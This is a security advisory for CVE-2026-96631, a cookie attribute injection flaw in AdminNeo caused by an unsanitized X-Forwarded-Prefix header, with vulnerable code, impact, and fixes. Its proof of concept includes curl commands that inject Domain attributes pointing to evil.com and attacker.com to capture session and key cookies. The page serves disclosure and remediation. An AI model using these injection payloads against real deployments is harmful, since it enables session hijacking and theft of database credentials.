AdminNeo has Cookie Attribute Injection via Unsanitized X-Forwarded-Prefix in Set-Cookie Headers
CVE-2026-96631 · GHSA-79wv-8rh2-9vp2 · published 30 Oct 2026
How serious is it
- Severity: high, CVSS score 8.2 out of 10.
- No exploit prediction (EPSS) score yet.
- Not on the CISA list of exploited vulnerabilities.
- No public exploit in Exploit-DB.
Is your app affected by CVE-2026-96631?
Paste this prompt into Claude Code, Cursor or any AI coding tool: it runs a free Shippable scan of your project and fixes what it finds. Built with Lovable, Bolt or v0? Scan your live app. Or upload your package file.
Who is affected
adminneo-org/adminneo(Packagist) >= 4.6.0, < 5.5.1
How to check
- Run
composer show adminneo-org/adminneoin your project to see the installed version, including copies pulled in by other packages. - Or paste your lockfile into the checker: it lists every package with a known vulnerability, this one included.
How to fix
Copies a prompt for Claude Code, Cursor or Codex: it checks your lockfiles for this and upgrades it.
- Upgrade
adminneo-org/adminneoto 5.5.1 or later, commit the lockfile and redeploy. - If a vulnerable version was live, check your logs and rotate the secrets that server could read.
The advisory
### Summary
AdminNeo versions 4.6.0 through at least 5.5.0 are vulnerable to cookie attribute injection via the `X-Forwarded-Prefix` HTTP header. An attacker who can influence this header (e.g., through a reverse proxy that forwards it from clients, an attacker-controlled upstream proxy, or a man-in-the-middle position) can inject arbitrary cookie attributes including `Domain`, `Path`, `Secure`, and `SameSite` into all `Set-Cookie` response headers emitted by AdminNeo.
This allows an attacker to expand the cookie scope to an attacker-controlled domain (e.g., `Domain=.evil.com`), causing the victim's browser to send AdminNeo's `neo_sid` (session ID) and `neo_key` (database password encryption key) cookies to the attacker's server on subsequent requests.
Originally reported by @retkoussa in Adminer: https://github.com/vrana/adminer/security/advisories/GHSA-c533-9qwm-8w5h
### Vulnerable Code
**Root cause 1 - Unsanitized header prepended to `REQUEST_URI`**
(`admin/include/bootstrap.inc.php`, lines 50–52):
```php
if ($_SERVER["HTTP_X_FORWARDED_PREFIX"]) {
$_SERVER["REQUEST_URI"] = $_SERVER["HTTP_X_FORWARDED_PREFIX"] . $_SERVER["REQUEST_URI"];
}
```
The client-supplied `X-Forwarded-Prefix` header is concatenated into `REQUEST_URI` with no validation or sanitization of special characters (specifically semicolons, which delimit cookie attributes).
**Root cause 2 - Manual `Set-Cookie `header construction without escaping**
(`admin/include/functions.inc.php`, lines 416–424):
```php
function cookie(string $name, string $value, int $lifetime = 2592000): void
{
header("Set-Cookie: $name=" . rawurlencode($value)
. ($lifetime ? "; expires=" . gmdate("D, d M Y H:i:s", time() + $lifetime) . " GMT" : "")
. "; path=" . preg_replace('~\?.*~', '', $_SERVER["REQUEST_URI"])
. (HTTPS ? "; secure" : "")
. "; HttpOnly; SameSite=lax",
false);
}
```
The tainted `REQUEST_URI` is interpolated directly into the `path=` attribute of the `Set-Cookie` header. Since semicolons are not stripped or escaped, any `;`-separated directives injected via `X-Forwarded-Prefix` become valid cookie attributes parsed by the browser.
**Root cause 3 - Session cookie also tainted**
(`admin/include/bootstrap.inc.php`, line 61):
```php
session_set_cookie_params(0, preg_replace('~\?.*~', '', $_SERVER["REQUEST_URI"]), "", HTTPS, true);
```
The PHP session cookie (`neo_sid`) path is similarly derived from the tainted `REQUEST_URI`, extending the same vulnerability to the session cookie set by PHP itself.
### Impact
- **Session hijacking:** The `neo_sid` session cookie is sent to the attacker's domain, allowing full session takeover.
- **Credential theft:** The `neo_key` cookie contains the key used to encrypt/decrypt database passwords stored in the session. With this key, an attacker can decrypt saved database credentials.
- **Session fixation:** An attacker can inject arbitrary `Path`, `SameSite`, and `Secure` attributes, manipulating cookie behavior.
- **Wide applicability:** The `X-Forwarded-Prefix` header was specifically added to support reverse proxy deployments (Traefik `PathPrefixStrip`, nginx, HAProxy). These are the exact environments where this header is forwarded from clients, making the vulnerability relevant in the deployments it was designed for.
### Affected Cookies
|**Cookie**|**Content**|**Risk**|
|`neo_sid`|PHP session ID|Session hijacking|
|`neo_key`|Encryption key for stored DB passwords|Credential theft|
|`neo_settings`|User preferences|Low (information disclosure)|
### Proof of Concept
```shell
# Normal request with clean Set-Cookie headerss:
curl -sI http://localhost:8080/adminneo/index.php | grep -i set-cookie
> Response: Set-Cookie: neo_key=...; path=/adminneo/index.php; HttpOnly; SameSite=lax
# Malicious request — inject Domain=.evil.com:
curl -sI -H "X-Forwarded-Prefix: /adminneo; Domain=.evil.com" \
http://localhost:8080/adminneo/index.php | grep -i set-cookie
> Response: Set-Cookie: neo_key=...; path=/adminneo; Domain=.evil.com/adminneo/index.php; HttpOnly; SameSite=lax
# ^^^^^^^^^^^^^^^^^^^^^^^^^^^ INJECTED
# Full attribute override - inject Domain + SameSite=None:
curl -sI -H "X-Forwarded-Prefix: /; Path=/; Domain=.attacker.com; SameSite=None" \
http://localhost:8080/adminneo/index.php | grep -i set-cookie
> Response Set-Cookie: neo_key=...; path=/; Path=/; Domain=.attacker.com; SameSite=None/adminneo/index.php; ...
```
### Recommended Fix
1. **Sanitize `X-Forwarded-Prefix`:** Strip or reject semicolons, newlines, and other HTTP header metacharacters from the `X-Forwarded-Prefix` value before using it.
2. **Use `setcookie()` / `setrawcookie()`:** Replace the manual `header("Set-Cookie: ...")` construction in `cookie()` with PHP's built-in `setcookie()` function, which properly escapes attribute values.
3. **Validate `REQUEST_URI` before cookie use:** After any prefix manipulation, strip characters that are invalid in a cookie `path` attribute (`;`, `,`, whitespace per RFC 6265).
```php
// Example fix for bootstrap.inc.php:
if ($_SERVER["HTTP_X_FORWARDED_PREFIX"]) {
$prefix = preg_replace('~[;\r\n].*~', '', $_SERVER["HTTP_X_FORWARDED_PREFIX"]);
$_SERVER["REQUEST_URI"] = $prefix . $_SERVER["REQUEST_URI"];
}
```
### Server Based Workaround Via Config
Configure the reverse proxy to set `X-Forwarded-Prefix` to a static, trusted value rather than forwarding the client-supplied header:
```nginx
# nginx — secure configuration:
fastcgi_param HTTP_X_FORWARDED_PREFIX /adminneo; # static value, not $http_x_forwarded_prefix
```
```yaml
# Traefik, use middleware instead of client headers:
middlewares:
strip-prefix:
stripPrefix:
prefixes:
- "/adminneo"
```
Check your whole app
Dependencies are only half of it. Free and read-only: before you push, run npx shippable-dev scan localhost:3000 in your project folder, no account needed. For your live app, you prove it's yours with a one-line tag first.
References
- github.com/adminneo-org/adminneo/security/advisories/GHSA-79wv-8rh2-9vp2
- github.com/adminneo-org/adminneo/commit/aa6f2544a8a65cf5e8317f1a902f74181e136d64
- github.com/adminneo-org/adminneo/releases/tag/v5.5.1
- github.com/advisories/GHSA-79wv-8rh2-9vp2
- github.com/adminneo-org/adminneo
Merged from GitHub Advisory Database, OSV. Last updated 31 Oct 2026. All vulnerabilities · RSS · JSON